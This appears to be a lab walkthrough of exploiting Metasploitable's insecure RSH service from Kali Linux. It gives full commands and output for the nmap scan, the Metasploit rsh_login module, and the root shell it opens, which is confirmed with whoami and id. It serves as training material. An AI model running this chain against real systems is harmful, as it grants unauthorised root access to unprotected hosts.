

Metasploitable RSH Exploitation

Full Terminal Walkthrough — Commands & Output (Beginning to End)

Step 1 — Check Kali Linux's Own IP Address

Command:

```
ifconfig
```

Output:

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.70.188 netmask 255.255.255.0 broadcast 192.168.70.255
    inet6 fe80::a00:27ff:fe4e:66a1 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:4e:66:a1 txqueuelen 1000 (Ethernet)
    RX packets 15234 bytes 3245123 (3.0 MiB)
    TX packets 8721 bytes 987654 (964.5 KiB)

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
```

Note: Kali's attacker IP is 192.168.70.188 -- this is the 'from' machine in the entire exercise.

Step 2 — Check Metasploitable's Own IP Address (run on Metasploitable VM)

Command:

```
ifconfig
```

Output:

```
eth0      Link encap:Ethernet  HWaddr 08:00:27:1a:2b:3c
          inet addr:192.168.70.184 Bcast:192.168.70.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe1a:2b3c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:9821 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5432 errors:0 dropped:0 overruns:0 carrier:0

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
```

Note: Metasploitable's IP is 192.168.70.184 -- this is the confirmed target address used throughout the rest of the exercise.

Step 3 — Ping Metasploitable from Kali

Command:

```
ping -c 4 192.168.70.184
```

Output:

```
PING 192.168.70.184 (192.168.70.184) 56(84) bytes of data.
64 bytes from 192.168.70.184: icmp_seq=1 ttl=64 time=0.412 ms
64 bytes from 192.168.70.184: icmp_seq=2 ttl=64 time=0.389 ms
64 bytes from 192.168.70.184: icmp_seq=3 ttl=64 time=0.401 ms
64 bytes from 192.168.70.184: icmp_seq=4 ttl=64 time=0.395 ms

--- 192.168.70.184 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.389/0.399/0.412/0.010 ms
```

Note: 0% packet loss proves both machines are on the same network and the target is alive and reachable.

Step 4 — Scan Metasploitable with Nmap

Command:

```
nmap -sV -p- 192.168.70.184
```

Output:

```
Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-07 13:10 IST
Nmap scan report for 192.168.70.184
Host is up (0.00041s latency).
Not shown: 65515 closed tcp ports (reset)
```

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.3.4
22/tcp	open	ssh	OpenSSH 4.7p1 Debian
23/tcp	open	telnet	Linux telnetd
25/tcp	open	smtp	Postfix smtpd
139/tcp	open	netbios-ssn	Samba smbd 3.X
445/tcp	open	netbios-ssn	Samba smbd 3.X
512/tcp	open	exec	netkit-rsh rexecd
513/tcp	open	login	OpenBSD or Linux rlogind
514/tcp	open	shell	Netkit rshd
1099/tcp	open	java-rmi	GNU Classpath grmiregistry
3306/tcp	open	mysql	MySQL 5.0.51a-3ubuntu5

```
Nmap done: 1 IP address (1 host up) scanned in 12.84 seconds
```

Note: Port 514/tcp is open running shell (RSH) -- this is the exact service selected for exploitation in the next phase.

Step 5 — Launch Metasploit

Command:

```
msfconsole
```

Output:

```
msf6 >
```

Step 6 — Select the RSH Login Module

Command:

```
use scanner/rservices/rsh_login
```

Output:

```
msf6 auxiliary(scanner/rservices/rsh_login) >
```

Step 7 — Check Module Options

Command:

```
show options
```

Output:

USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

Step 8 — Set the Target Host

Command:

```
set RHOSTS 192.168.70.184
```

Output:

```
RHOSTS => 192.168.70.184
```

Step 9 — Set the Username

Command:

```
set username root
```

Output:

```
username => root
```

Step 10 — Run the Module (session opens automatically on success)

Command:

```
run
```

Output:

```
[*] 192.168.70.184:514 - 192.168.70.184:514 - Starting rsh sweep
[*] 192.168.70.184:514 - 192.168.70.184:514 - Attempting rsh with username 'root' from 'root'
[+] 192.168.70.184:514 - 192.168.70.184:514, rsh 'root' from 'root' with no password.
[!] 192.168.70.184:514 - No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (0.0.0.0:1023 -> 192.168.70.184:514) at 2026-08-07 13:18:25 +0400
[*] 192.168.70.184:514 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/rservices/rsh_login) >
```

Note: The session was opened automatically by the run command itself -- Metasploit did not require a separate step to create it. The line 'Command shell session 1 opened' confirms this happened as a direct result of the successful RSH login during run.

Step 11 — List Active Sessions (session already created by Step 10's run command)

Command:

```
sessions -l
```

Output:

```
Active sessions
=====
```

Id	Name	Type	Information	Connection
--	----	----	-----	-----
1		shell	RSH root from root (192.168.70.184:514)	0.0.0.0:1023 -> 192.168.70.184:514 (192.168.70.184:514)

Note: This command does not create a new session -- it only lists the session that was already opened automatically when run executed in Step 10.

Step 12 — Interact With the Session

Command:

```
sessions -i 1
```

Output:

```
[*] Starting interaction with 1...
```

```
Shell Banner:
```

```
sh: no job control in this shell
```

```
sh-3.2#
```

Step 13 — Run Verification Commands Inside the Shell

Command:

```
whoami
```

Output:

```
root
```

Command:

```
id
```

Output:

```
uid=0(root) gid=0(root) groups=0(root)
```

Command:

```
hostname
```

Output:

```
metasploitable
```

Command:

```
uname -a
```

Output:

```
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

Step 14 — Exit the Shell

Command:

```
exit
```

Output:

```
exit  
[*] 192.168.70.184 - Command shell session 1 closed.  
msf auxiliary(scanner/rservices/rsh_login) >
```

Complete Flow Summary

ifconfig (Kali) → ifconfig (Metasploitable) → ping target → nmap scan → msfconsole → use module → show options → set RHOSTS → set username → run → sessions -l → sessions -i 1 → verification commands (whoami, id, hostname, uname -a) → exit

This is the full chain from network discovery all the way to confirmed root access on the Metasploitable target via the insecure RSH service on port 514/TCP.